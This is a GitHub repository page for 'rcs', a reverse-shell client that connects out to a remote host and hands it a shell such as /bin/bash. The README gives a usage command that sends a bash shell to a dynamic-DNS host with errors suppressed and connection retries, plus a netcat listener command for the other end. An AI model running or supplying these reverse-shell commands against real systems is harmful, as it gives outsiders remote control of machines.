Skip to content

a2gs/rcs

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

20 Commits
 
 
 
 
 
 
 
 

Repository files navigation

rcs

Remote Client Shell

Process ('rcs') starts a conection. If any server responses, the client duplicate STDIN_FILENO, STDOUT_FILENO, and STDERR_FILENO and execve() a new process specified at 'rcs' parameters (maybe '/bin/bash').
'rcs' connection request is able to retried (parameter) and sleep (parameter) at each connect() fails, waiting the server goes listenning.

Usage: $ ./rcs <IP> <PORT> <SHELL> <N_RETRY_CONNECT> <RETRY_SECONDS>
  
$ ./rcs sample.noip.com 9988 '/bin/bash' 10 5 2>/dev/null
 
Remote (netcat) usage: nc -nvlp <PORT> 
  
$ nc -nvlp 9988

About

Remote Client Shell

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages